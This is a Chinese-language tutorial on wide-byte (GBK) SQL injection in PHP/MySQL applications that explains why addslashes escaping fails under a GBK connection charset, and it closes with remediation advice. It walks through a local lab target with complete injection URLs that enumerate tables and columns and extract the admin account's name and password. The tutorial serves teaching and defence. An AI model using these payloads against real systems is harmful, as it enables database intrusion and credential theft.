宽字节注入
概述
首先要先了解一个宽字节注入，宽字节注入主要是源于程序员设置数据库编码与php编码设置为不同的两个编码，这样就可能会产生宽字节注入。
栗子:
如果说PHP的编码为UTF-8而MySQL的编码设置为SET NAMES 'gbk'或者SET character_set_client =gbk,这样配置会引起编码转换从而导致漏洞的产生。
这里要说明一小点的是：
SET NAMES 'x'语句与这三个语句等价：
mysql>SET character_set_client =x;
mysql>SET character_set_results =x;
mysql>SET character_set_connection =x;
也就是说你设置了SET NAMES 'x'时就等于同时执行了上面的3条语句，我理解的宽字节注入就是php发送请求到MySQL时使用了语句，SET NAMES 'gbk'或者SET character_set_client =gbk,进行了一次编码，但是又由于一些不经意的字符集转换导致了宽字节的注入。
宽字节
GB2312、GBK、GB18030、BIG5、Shift JIS等这些都是常说的宽字节，实际上只有两个字节。宽字节带来的安全问题主要是吃ascll字符（一个字节）的现象。
原理
1、在我们正常情况下使用addslashes函数或是开启PHPGPC(注：在php5.4已上已给删除,并且需要说明一点，GPC无法过滤$_SERVER提交的参数)时过滤GET、POST、COOKIE、REQUSET 提交的参数时，黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的栗子所示
单引号（'）= （\'）
双引号（"） = （\"）
反斜杠（\） = （\\）
URL编码
%27===单引号
%20===空格
%23===#号
%5c===/反斜杠
2、假如这个网站有宽字节注入，那么我们提价：
http://192.168.1.112:81/kuanzijieloudong/index.php?id=%df%27
这时，假如我们出现现在使用的是addslashes来过滤,那么就会发生如下的转换过程
%df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運'
用户输入===过滤函数===代码层$sql===mysql处理请求===MySQL中的SQL
这里可能有一些人没看懂，我可以粗略的解释一下。
前端输入%df%27时首先经过上面addslashes函数转义变成了%df%5c%27（%5c是反斜杠\)，之后在数据库查询前因为设置了GBK编码，即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c转换成了汉字運，而单引号就逃逸了出来，从而造成了注入漏洞。
一、举个栗子
1、如下，宽字节注入的原理实例，连接字符集的gbk,对传入的值用addslashes（）做了转义，另外PHP是把ID当做一个字符串来接收的，后面在闭合的时候需要注意下，具体如下：
TIM图片20190417114301.png
2、次实验用于测试，宽字节注入点如下
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1
2.png
3、这时当我们用经典的单引号尝试对参数进行干扰时发现，貌似并任何反应，原因很明显，因为addslashes（）已经把我们提交的单引号进行了转义
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1'
3.png
4、现在，我们就可以尝试利用宽字符来突破类似的转义问题，这里使用经典的%df‘宽字符，如下，页面返回数据库报错，说明我们的单引号已经被带入正常的SQL语句中执行查询了，也就是说，用于转义的那个‘\’已经罢工了
4.png
5、通过观察打印出来的SQL语句，可以发现那个%df和‘\’,在gbk字符编码中变成了‘運’字，所以这才会造成转义才会失效，既如此，闭合自然就非常简单了，因为是字符型，只需要闭合前面的单引号，后面的语句直接注释掉即可，具体操作如下:
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' and 1=1 %23 条件为真返回正常
5.png
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' and 1=12 %23 条件为假返回错误
6.png
6、查询当前表的字段个数
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' order by 3 %23 为3时 返回正常
7.png
http://192.168.1.112:81/kuanzijieloudong/index.php?id=1%df' order by 4 %23 为4时 返回异常，说明只有当前表3个字段
8.png
7、执行union，爆出对应的数据显示位
http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,2,3 %23
9.png
8、收集当前数据库信息，这里只是为了演示宽字节的正常注入流程，就不再尝试读写文件了，暂时按照正常权限来
http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,database(),version() %23
10.png
9、查出当前库中所有表名
http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=0x74657374 %23 test的十六进制编码为0x74657374
11.png
10、查出admin表中的所有字段名
http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1,group_concat(column_name),user() from information_schema.columns where table_name=0x61646d696e %23
12.png
11、最后去查出管理员账号和密码即可
http://192.168.1.112:81/kuanzijieloudong/index.php?id=-1%df' union select 1, name,pass from admin limit 0,1 %23
13.png
安全防御方案：
对于宽字节编码，有一种最好的修补就是
1.使用mysql_set_charset(utf8)指定字符集
2. 使用mysql_real_escape_string进行转义
原理是，mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集，不会出现前面e5和5c拼接为一个宽字节的问题，但是这个“当前字符集”如何确定呢？
就是使用mysql_set_charset进行指定。
上述的两个条件是“与”运算的关系，少一条都不行。
